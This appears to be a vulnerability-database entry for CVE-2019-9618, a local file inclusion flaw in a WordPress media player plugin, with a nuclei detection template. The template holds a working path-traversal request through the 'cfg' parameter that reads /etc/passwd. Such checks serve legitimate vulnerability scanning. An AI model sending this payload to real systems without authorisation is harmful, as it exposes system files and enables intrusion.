HexBrain

Browse / CVEs / CVE-2019-9618

CVE-2019-9618· gracemedia media player project / gracemedia media player· CWE-22

WordPress GraceMedia Media Player 1.0 - Local File Inclusion

criticalseverity
9.8CVSS score
43.8%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

WordPress GraceMedia Media Player plugin 1.0 is susceptible to local file inclusion via the cfg parameter.

Impact

Attackers can include arbitrary local files, potentially leading to information disclosure or code execution.

Fix

Update to the latest version of the plugin or apply security patches to sanitize the 'cfg' parameter.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/pa…
Positive when: matches /root:.*:0:0:/ AND status 200 or 500

Run it with nuclei: nuclei -id CVE-2019-9618 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-9618

info:
  name: WordPress GraceMedia Media Player 1.0 - Local File Inclusion
  author: daffainfo
  severity: critical
  description: WordPress GraceMedia Media Player plugin 1.0 is susceptible to local file inclusion via the cfg parameter.
  impact: |
    Attackers can include arbitrary local files, potentially leading to information disclosure or code execution.
  remediation: |
    Update to the latest version of the plugin or apply security patches to sanitize the 'cfg' parameter.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9618
    - https://seclists.org/fulldisclosure/2019/Mar/26
    - https://www.exploit-db.com/exploits/46537
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9618
    - http://seclists.org/fulldisclosure/2019/Mar/32
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-9618
    cwe-id: CWE-22
    epss-score: 0.43796
    epss-percentile: 0.98757
    cpe: cpe:2.3:a:gracemedia_media_player_project:gracemedia_media_player:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: gracemedia_media_player_project
    product: gracemedia_media_player
    framework: wordpress
  tags: cve,cve2019,wordpress,wp-plugin,lfi,seclists,edb,gracemedia_media_player_project,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from